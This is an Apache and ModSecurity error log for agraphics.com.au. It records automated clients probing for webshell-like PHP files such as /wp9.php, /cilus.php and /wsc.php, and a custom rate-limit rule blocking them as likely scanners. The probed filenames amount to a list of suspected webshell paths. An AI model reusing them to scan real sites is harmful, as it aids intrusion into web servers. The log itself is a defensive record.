[Sun Apr 05 05:54:35.174938 2026] [:error] [pid 45303:tid 45335] [client 20.215.70.55:63301] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "adGIm7boQ9eViZ4hdnmDjwAAABI"]
[Sun Apr 05 05:54:35.710611 2026] [:error] [pid 45305:tid 45383] [client 20.215.70.55:63596] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "adGIm-jDQjr7aWhjflAULQAAAIw"]
[Sun Apr 05 05:54:36.303560 2026] [:error] [pid 45304:tid 45361] [client 20.215.70.55:64601] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "adGInA5jnqDKKovdRkkG0QAAAFE"]
[Sun Apr 05 05:54:37.034479 2026] [:error] [pid 45304:tid 45347] [client 20.215.70.55:7748] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "adGInQ5jnqDKKovdRkkG0wAAAEM"]
[Sun Apr 05 05:54:37.801132 2026] [:error] [pid 45304:tid 45367] [client 20.215.70.55:54120] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "adGInQ5jnqDKKovdRkkG2AAAAFc"]
[Sun Apr 05 05:54:38.365002 2026] [proxy_fcgi:error] [pid 45304:tid 45356] [client 20.215.70.55:64572] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:54:38.623806 2026] [proxy_fcgi:error] [pid 45304:tid 45347] [client 20.215.70.55:64572] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:54:38.883029 2026] [proxy_fcgi:error] [pid 45304:tid 45365] [client 20.215.70.55:64572] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:54:39.143767 2026] [proxy_fcgi:error] [pid 45304:tid 45354] [client 20.215.70.55:64572] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:54:39.401481 2026] [proxy_fcgi:error] [pid 45304:tid 45351] [client 20.215.70.55:64572] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:27:09.195654 2026] [proxy_fcgi:error] [pid 45305:tid 45378] [client 20.199.97.195:17216] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:27:09.434198 2026] [proxy_fcgi:error] [pid 45305:tid 45391] [client 20.199.97.195:17216] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:27:09.672689 2026] [proxy_fcgi:error] [pid 45305:tid 45386] [client 20.199.97.195:17216] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:27:09.928648 2026] [proxy_fcgi:error] [pid 45305:tid 45387] [client 20.199.97.195:17216] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:27:10.167868 2026] [proxy_fcgi:error] [pid 45305:tid 45384] [client 20.199.97.195:17216] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:27:10.406418 2026] [proxy_fcgi:error] [pid 45305:tid 45373] [client 20.199.97.195:17216] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:27:10.665570 2026] [proxy_fcgi:error] [pid 45305:tid 45381] [client 20.199.97.195:17216] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:27:10.915830 2026] [proxy_fcgi:error] [pid 45305:tid 45371] [client 20.199.97.195:17216] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:27:11.155096 2026] [proxy_fcgi:error] [pid 45305:tid 45389] [client 20.199.97.195:17216] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:27:11.803973 2026] [proxy_fcgi:error] [pid 45305:tid 45382] [client 20.199.97.195:17216] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:27:12.047086 2026] [:error] [pid 45305:tid 45388] [client 20.199.97.195:17216] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55l453.php"] [unique_id "adG6cOjDQjr7aWhjflC89QAAAJE"]
[Sun Apr 05 09:27:12.995060 2026] [:error] [pid 30921:tid 30926] [client 20.199.97.195:17346] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55l453.php"] [unique_id "adG6cGFGQVn8Q0ueB27D2AAAAQM"]
[Sun Apr 05 09:27:13.694681 2026] [:error] [pid 45409:tid 45419] [client 20.199.97.195:17377] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55l453.php"] [unique_id "adG6cdHt_Oyw03gjCNhDDQAAAMg"]
[Sun Apr 05 09:27:14.312583 2026] [:error] [pid 45303:tid 45319] [client 20.199.97.195:61479] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55l453.php"] [unique_id "adG6crboQ9eViZ4hdnnIhgAAAAI"]
[Sun Apr 05 09:27:15.134000 2026] [:error] [pid 45303:tid 45329] [client 20.199.97.195:17350] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "adG6c7boQ9eViZ4hdnnIiwAAAAw"]
[Sun Apr 05 09:27:15.927203 2026] [:error] [pid 30921:tid 30928] [client 20.199.97.195:17217] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "adG6c2FGQVn8Q0ueB27D3wAAAQU"]
[Sun Apr 05 09:27:16.452350 2026] [:error] [pid 45304:tid 45355] [client 20.199.97.195:61468] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "adG6dA5jnqDKKovdRklAxgAAAEs"]
[Sun Apr 05 09:27:16.955949 2026] [:error] [pid 45303:tid 45321] [client 20.199.97.195:58459] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "adG6dLboQ9eViZ4hdnnIkAAAAAQ"]
[Sun Apr 05 09:27:17.543702 2026] [:error] [pid 45304:tid 45364] [client 20.199.97.195:17264] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "adG6dQ5jnqDKKovdRklAzgAAAFQ"]
[Sun Apr 05 09:27:18.015113 2026] [:error] [pid 45304:tid 45360] [client 20.199.97.195:17271] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "adG6dg5jnqDKKovdRklAzwAAAFA"]
[Sun Apr 05 09:27:18.533417 2026] [:error] [pid 45303:tid 45334] [client 20.199.97.195:17279] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "adG6drboQ9eViZ4hdnnIlQAAABE"]
[Sun Apr 05 09:27:19.019692 2026] [:error] [pid 45409:tid 45433] [client 20.199.97.195:61464] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "adG6d9Ht_Oyw03gjCNhDFQAAANY"]
[Sun Apr 05 09:27:19.505414 2026] [:error] [pid 45303:tid 45317] [client 20.199.97.195:58448] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "adG6d7boQ9eViZ4hdnnIlwAAAAA"]
[Sun Apr 05 09:27:20.067543 2026] [:error] [pid 45303:tid 45322] [client 20.199.97.195:58489] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "adG6eLboQ9eViZ4hdnnImQAAAAU"]
[Sun Apr 05 09:27:20.552274 2026] [:error] [pid 45305:tid 45372] [client 20.199.97.195:58471] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "adG6eOjDQjr7aWhjflC9CAAAAIE"]
[Sun Apr 05 09:27:21.114985 2026] [:error] [pid 45409:tid 45419] [client 20.199.97.195:61484] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "adG6edHt_Oyw03gjCNhDFgAAAMg"]
[Sun Apr 05 09:27:21.700285 2026] [:error] [pid 45409:tid 45420] [client 20.199.97.195:58439] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "adG6edHt_Oyw03gjCNhDGQAAAMk"]
[Sun Apr 05 09:27:22.233986 2026] [:error] [pid 30921:tid 30923] [client 20.199.97.195:17134] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "adG6emFGQVn8Q0ueB27D7QAAAQA"]
[Sun Apr 05 09:27:22.704980 2026] [:error] [pid 45409:tid 45422] [client 20.199.97.195:17252] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "adG6etHt_Oyw03gjCNhDHQAAAMs"]
[Sun Apr 05 09:27:23.209333 2026] [:error] [pid 45305:tid 45378] [client 20.199.97.195:58468] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error_log.php"] [unique_id "adG6e-jDQjr7aWhjflC9EAAAAIc"]
[Sun Apr 05 09:27:23.699814 2026] [:error] [pid 45409:tid 45434] [client 20.199.97.195:58470] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/HLA-dd.php"] [unique_id "adG6e9Ht_Oyw03gjCNhDHgAAANc"]
[Sun Apr 05 09:27:24.189798 2026] [:error] [pid 45305:tid 45372] [client 20.199.97.195:63682] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/HLA-dd.php"] [unique_id "adG6fOjDQjr7aWhjflC9FgAAAIE"]
[Sun Apr 05 09:27:24.669570 2026] [:error] [pid 45304:tid 45352] [client 20.199.97.195:17263] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/HLA-dd.php"] [unique_id "adG6fA5jnqDKKovdRklA7AAAAEg"]
[Sun Apr 05 09:27:25.182675 2026] [:error] [pid 30921:tid 30924] [client 20.199.97.195:58459] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/HLA-dd.php"] [unique_id "adG6fWFGQVn8Q0ueB27D9gAAAQE"]
[Sun Apr 05 09:27:25.669130 2026] [:error] [pid 45409:tid 45413] [client 20.199.97.195:61453] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsc.php"] [unique_id "adG6fdHt_Oyw03gjCNhDIgAAAMI"]
[Sun Apr 05 09:27:26.192889 2026] [:error] [pid 45409:tid 45414] [client 20.199.97.195:58481] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsc.php"] [unique_id "adG6ftHt_Oyw03gjCNhDJgAAAMM"]
[Sun Apr 05 09:27:26.675052 2026] [:error] [pid 45305:tid 45393] [client 20.199.97.195:63680] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsc.php"] [unique_id "adG6fujDQjr7aWhjflC9GQAAAJY"]
[Sun Apr 05 09:27:27.161590 2026] [:error] [pid 45305:tid 45373] [client 20.199.97.195:61463] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsc.php"] [unique_id "adG6f-jDQjr7aWhjflC9HwAAAII"]
[Sun Apr 05 09:27:27.691378 2026] [:error] [pid 45409:tid 45428] [client 20.199.97.195:58474] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-lvminl.php"] [unique_id "adG6f9Ht_Oyw03gjCNhDKwAAANE"]
[Sun Apr 05 09:27:28.190790 2026] [:error] [pid 45305:tid 45394] [client 20.199.97.195:58495] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-lvminl.php"] [unique_id "adG6gOjDQjr7aWhjflC9IwAAAJc"]
[Sun Apr 05 09:27:28.670266 2026] [:error] [pid 45305:tid 45389] [client 20.199.97.195:17265] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-lvminl.php"] [unique_id "adG6gOjDQjr7aWhjflC9KQAAAJI"]
[Sun Apr 05 09:27:29.157616 2026] [:error] [pid 45305:tid 45379] [client 20.199.97.195:17221] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-lvminl.php"] [unique_id "adG6gejDQjr7aWhjflC9LAAAAIg"]
[Sun Apr 05 09:27:29.715951 2026] [:error] [pid 45305:tid 45377] [client 20.199.97.195:63687] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "adG6gejDQjr7aWhjflC9MQAAAIY"]
[Sun Apr 05 09:27:30.311689 2026] [:error] [pid 45409:tid 45411] [client 20.199.97.195:58493] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "adG6gtHt_Oyw03gjCNhDMQAAAMA"]
[Sun Apr 05 09:27:30.802758 2026] [:error] [pid 45305:tid 45392] [client 20.199.97.195:63690] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "adG6gujDQjr7aWhjflC9OgAAAJU"]
[Sun Apr 05 09:27:31.278204 2026] [:error] [pid 45409:tid 45422] [client 20.199.97.195:58463] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "adG6g9Ht_Oyw03gjCNhDNQAAAMs"]
[Sun Apr 05 09:27:31.864910 2026] [:error] [pid 30921:tid 30931] [client 20.199.97.195:58494] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dczem.php"] [unique_id "adG6g2FGQVn8Q0ueB27EAgAAAQg"]
[Sun Apr 05 09:27:32.356306 2026] [:error] [pid 45409:tid 45419] [client 20.199.97.195:17274] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dczem.php"] [unique_id "adG6hNHt_Oyw03gjCNhDOgAAAMg"]
[Sun Apr 05 09:27:32.871127 2026] [:error] [pid 45305:tid 45380] [client 20.199.97.195:58437] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dczem.php"] [unique_id "adG6hOjDQjr7aWhjflC9RgAAAIk"]
[Sun Apr 05 09:27:33.366271 2026] [:error] [pid 45303:tid 45324] [client 20.199.97.195:17404] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dczem.php"] [unique_id "adG6hbboQ9eViZ4hdnnIrQAAAAc"]
[Sun Apr 05 09:27:33.857857 2026] [:error] [pid 45409:tid 45428] [client 20.199.97.195:61454] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "adG6hdHt_Oyw03gjCNhDQgAAANE"]
[Sun Apr 05 09:27:34.341044 2026] [:error] [pid 45303:tid 45322] [client 20.199.97.195:58475] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "adG6hrboQ9eViZ4hdnnIrgAAAAU"]
[Sun Apr 05 09:27:34.884424 2026] [:error] [pid 45304:tid 45350] [client 20.199.97.195:58477] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "adG6hg5jnqDKKovdRklA9gAAAEY"]
[Sun Apr 05 09:27:35.358658 2026] [:error] [pid 45303:tid 45335] [client 20.199.97.195:61501] [client 20.199.97.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "adG6h7boQ9eViZ4hdnnItgAAABI"]
[Sun Apr 05 09:33:13.756739 2026] [proxy_fcgi:error] [pid 45305:tid 45390] [client 172.213.234.56:1452] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:33:13.999726 2026] [proxy_fcgi:error] [pid 45305:tid 45381] [client 172.213.234.56:1452] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:33:14.334861 2026] [proxy_fcgi:error] [pid 45305:tid 45389] [client 172.213.234.56:1452] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:33:14.573077 2026] [proxy_fcgi:error] [pid 45305:tid 45391] [client 172.213.234.56:1452] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:33:14.869119 2026] [proxy_fcgi:error] [pid 45305:tid 45392] [client 172.213.234.56:1452] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:33:15.105866 2026] [proxy_fcgi:error] [pid 45305:tid 45390] [client 172.213.234.56:1452] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:33:15.342750 2026] [proxy_fcgi:error] [pid 45305:tid 45384] [client 172.213.234.56:1452] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:33:16.079139 2026] [proxy_fcgi:error] [pid 45305:tid 45390] [client 172.213.234.56:1452] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:33:16.341800 2026] [proxy_fcgi:error] [pid 45305:tid 45380] [client 172.213.234.56:1452] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 09:33:16.579585 2026] [proxy_fcgi:error] [pid 45305:tid 45392] [client 172.213.234.56:1452] AH01071: Got error 'Primary script unknown'
